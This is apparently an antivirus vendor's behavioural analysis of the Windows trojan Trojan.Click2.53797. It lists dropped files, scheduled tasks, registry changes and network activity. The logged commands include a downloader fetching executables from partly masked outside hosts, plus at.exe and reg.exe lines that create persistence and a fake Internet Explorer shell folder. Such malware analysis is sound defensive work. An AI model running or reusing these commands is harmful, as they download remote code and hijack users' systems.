Trojan.Click2.53797

Technical Information

To ensure autorun and distribution:

Creates or modifies the following files:

%WINDIR%\Tasks\At4.job
%WINDIR%\Tasks\At5.job
%WINDIR%\Tasks\At6.job
%WINDIR%\Tasks\At1.job
%WINDIR%\Tasks\At2.job
%WINDIR%\Tasks\At3.job

Creates the following services:

[<HKLM>\SYSTEM\ControlSet001\Services\Schedule] 'Start' = '00000002'

Malicious functions:

Creates and executes the following:

%TEMP%\0_YoudaoDict_zhusha_quantui_004.exe
%TEMP%\RarSFX1\ks.exe "http://so##.#oftdowns.info/install/YoudaoDict_zhusha_quantui_004.exe"
%TEMP%\0_chic7.exe
%TEMP%\RarSFX1\ks.exe "http://www.xu###i6x.com/msn/software/partner/1/chic7.exe"
%TEMP%\RarSFX0\msn2.exe
%TEMP%\RarSFX1\ks.exe "http://do####ad.youbak.com/msn/software/partner/37a.exe"
%TEMP%\0_37a.exe
%TEMP%\0_chic7.exe (downloaded from the Internet)
%TEMP%\0_37a.exe (downloaded from the Internet)
%TEMP%\0_YoudaoDict_zhusha_quantui_004.exe (downloaded from the Internet)

Executes the following:

<SYSTEM32>\net1.exe start "Task Scheduler"
<SYSTEM32>\sc.exe config Schedule start= auto
<SYSTEM32>\at.exe 8:00 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{00000108-0000-0010-8000-00AA006DAAAA}"
<SYSTEM32>\at.exe 14:00 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{00000108-0000-0010-8000-00AA006DAAAA}"
<SYSTEM32>\at.exe 11:00 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{00000108-0000-0010-8000-00AA006DAAAA}"
<SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\ShellFolder" /v "HideFolderVerbs" /t REG_SZ /d "" /f
<SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\ShellFolder" /v "Attributes" /t REG_DWORD /d 0 /f
<SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\ShellFolder" /v "HideOnDesktopPerUser" /t REG_SZ /d "" /f
<SYSTEM32>\sc.exe create Schedule binpath= "%WINDIR%\svchost.exe -k netsvcs" depend= rpcss start= auto displayname= "Task Scheduler"
<SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\ShellFolder" /v "WantsParsDisplayName" /t REG_SZ /d "" /f
<SYSTEM32>\attrib.exe +r +h +s "%PROGRAM_FILES%\software\36OSE.vbs"
<SYSTEM32>\attrib.exe +r +h +s "%PROGRAM_FILES%\software\360SE.vbs"
<SYSTEM32>\attrib.exe +r +h +s "%PROGRAM_FILES%\software\tool.cmd"
<SYSTEM32>\attrib.exe +r +h +s "%PROGRAM_FILES%\software\361.cmd"
<SYSTEM32>\attrib.exe +r +h +s "%PROGRAM_FILES%\software\360.cmd"
<SYSTEM32>\at.exe 21:00 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{00000108-0000-0010-8000-00AA006DAAAA}"
<SYSTEM32>\at.exe 17:00 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{00000108-0000-0010-8000-00AA006DAAAA}"
<SYSTEM32>\at.exe 23:00 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{00000108-0000-0010-8000-00AA006DAAAA}"
<SYSTEM32>\attrib.exe +r +h +s "%PROGRAM_FILES%\software\fav\fav.cmd"
<SYSTEM32>\attrib.exe +r +h +s "%PROGRAM_FILES%\software\Microsoft\win.vbs"
<SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\DefaultIcon"
<SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}" /v "LocalizedString" /t REG_SZ /d "@shdoclc.dll,-880" /f
<SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\DefaultIcon" /ve /t REG_EXPAND_SZ /d "shdoclc.dll,0" /f
<SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\InProcServer32" /ve /t REG_SZ /d "%systemRoot%\system32\shdocvw.dll" /f
<SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\InProcServer32"
%PROGRAM_FILES%\Internet Explorer\IEXPLORE.EXE http://www.45##.net/index2.html?ok
<SYSTEM32>\wscript.exe "%TEMP%\RarSFX0\setup_free_ok.vbs"
<SYSTEM32>\reg.exe ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoInternetIcon" /t REG_DWORD /d 1 /f
<SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}" /v "InfoTip" /t REG_SZ /d "@shdoclc.dll,-880" /f
<SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}"
<SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\shell\┤Є┐к╓ў╥│(&H)\Command" /ve /t REG_SZ /d "wscript.exe %PROGRAM_FILES%\software\Microsoft\win.vbs" /f
<SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\shell\┤Є┐к╓ў╥│(&H)\Command"
<SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\shell\╩Ї╨╘(&R)"
<SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\shell\╩Ї╨╘(&R)\Command" /ve /t REG_SZ /d "rundll32.exe shell32.dll,Control_RunDLL INETCPL.CPL,,0" /f REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\ShellFolder"
<SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\shell\╩Ї╨╘(&R)\Command"
<SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\shell"
<SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f
<SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\shell" /ve /t REG_SZ /d "┤Є┐к╓ў╥│(&H)" /f
<SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\shell\┤Є┐к╓ў╥│(&H)" /v "MUIVerb" /t REG_SZ /d "@shdoclc.dll,-10241" /f
<SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\shell\┤Є┐к╓ў╥│(&H)"

Modifies settings of Windows Explorer:

[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoInternetIcon' = '00000001'

Modifies file system :

Creates the following files:

%PROGRAM_FILES%\software\Microsoft\win.vbs
%PROGRAM_FILES%\xerox\tao.ico
%PROGRAM_FILES%\software\fav\fav.cmd
%PROGRAM_FILES%\software\software.vbs
%PROGRAM_FILES%\software\fav\tao.ico
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\index2[1].html
%TEMP%\RarSFX0\软件下载.url
%APPDATA%\Microsoft\Internet Explorer\Quick Launch\Internet Expl0rer.lnk
%PROGRAM_FILES%\Windows NT\36OSE.vbs
%PROGRAM_FILES%\Windows NT\360SE.vbs
%TEMP%\RarSFX1\ks.exe
%PROGRAM_FILES%\software\Internet Expl0rer.lnk
%TEMP%\0_37a.exe
%TEMP%\0_chic7.exe
%TEMP%\0_YoudaoDict_zhusha_quantui_004.exe
%PROGRAM_FILES%\software\360.cmd
%PROGRAM_FILES%\software\tool.cmd
%PROGRAM_FILES%\software\361.cmd
%PROGRAM_FILES%\software\36OSE.vbs
%PROGRAM_FILES%\software\360SE.vbs
%TEMP%\RarSFX0\网址导航.url
%TEMP%\RarSFX0\36O安全浏览器 3.lnk
%TEMP%\RarSFX0\36O安全浏览器 3.lnk
%TEMP%\RarSFX0\copy.cmd
%TEMP%\RarSFX0\dodo.vbs
%TEMP%\RarSFX0\cpa.cmd
%TEMP%\RarSFX0\360.cmd
%TEMP%\RarSFX0\setup_free_ok.vbs
%TEMP%\RarSFX0\360SE.vbs
%TEMP%\RarSFX0\36OSE.vbs
%TEMP%\RarSFX0\361.cmd
%TEMP%\RarSFX0\tj.cmd
%TEMP%\RarSFX0\tao.ico
%TEMP%\RarSFX0\tool.cmd
%TEMP%\RarSFX0\淘宝购物.url
%TEMP%\RarSFX0\win.vbs
%TEMP%\RarSFX0\Internet Expl0rer.lnk
%TEMP%\RarSFX0\fav.cmd
%TEMP%\RarSFX0\msn2.exe
%TEMP%\RarSFX0\software.vbs
%TEMP%\RarSFX0\runonce.cmd

Sets the 'hidden' attribute to the following files:

%PROGRAM_FILES%\software\tool.cmd
%PROGRAM_FILES%\software\360.cmd
%PROGRAM_FILES%\software\361.cmd
%PROGRAM_FILES%\software\36OSE.vbs
%PROGRAM_FILES%\software\Microsoft\win.vbs
%PROGRAM_FILES%\software\fav\fav.cmd
%PROGRAM_FILES%\software\360SE.vbs

Deletes the following files:

%TEMP%\RarSFX0\software.vbs
%TEMP%\RarSFX0\tao.ico
%TEMP%\RarSFX0\setup_free_ok.vbs
%TEMP%\RarSFX0\msn2.exe
%TEMP%\RarSFX0\runonce.cmd
%TEMP%\RarSFX0\tj.cmd
%TEMP%\RarSFX0\网址导航.url
%TEMP%\RarSFX0\软件下载.url
%TEMP%\RarSFX0\淘宝购物.url
%TEMP%\RarSFX0\tool.cmd
%TEMP%\RarSFX0\win.vbs
%TEMP%\RarSFX0\Internet Expl0rer.lnk
%TEMP%\RarSFX0\361.cmd
%TEMP%\RarSFX0\36OSE.vbs
%TEMP%\RarSFX0\360SE.vbs
%TEMP%\RarSFX1\ks.exe
%TEMP%\RarSFX0\360.cmd
%TEMP%\RarSFX0\36O安全浏览器 3.lnk
%TEMP%\RarSFX0\dodo.vbs
%TEMP%\RarSFX0\fav.cmd
%TEMP%\RarSFX0\cpa.cmd
%TEMP%\RarSFX0\36O安全浏览器 3.lnk
%TEMP%\RarSFX0\copy.cmd

Network activity:

Connects to:

'so##.#oftdowns.info':80
'www.xu###i6x.com':80
'do####ad.youbak.com':80
'localhost':1036
'www.45##.net':80

TCP:

HTTP GET requests:

so##.#oftdowns.info/install/YoudaoDict_zhusha_quantui_004.exe
www.xu###i6x.com/msn/software/partner/1/chic7.exe
www.45##.net/index2.html?ok
do####ad.youbak.com/msn/software/partner/37a.exe

UDP:

DNS ASK so##.#oftdowns.info
DNS ASK www.xu###i6x.com
DNS ASK www.45##.net
DNS ASK do####ad.youbak.com

Miscellaneous:

Searches for the following windows:

ClassName: 'MS_AutodialMonitor' WindowName: ''
ClassName: 'MS_WebcheckMonitor' WindowName: ''
ClassName: 'MS_WINHELP' WindowName: ''
ClassName: '' WindowName: ''
ClassName: 'EDIT' WindowName: ''
ClassName: 'Shell_TrayWnd' WindowName: ''
ClassName: '' WindowName: '%HOMEPATH%\Desktop'

テクノロジー

用語

トレーニングコースおよび啓蒙プロジェクト

アンチウイルスに関する誤解と噂

Technical Information

Curing recommendations

Free trial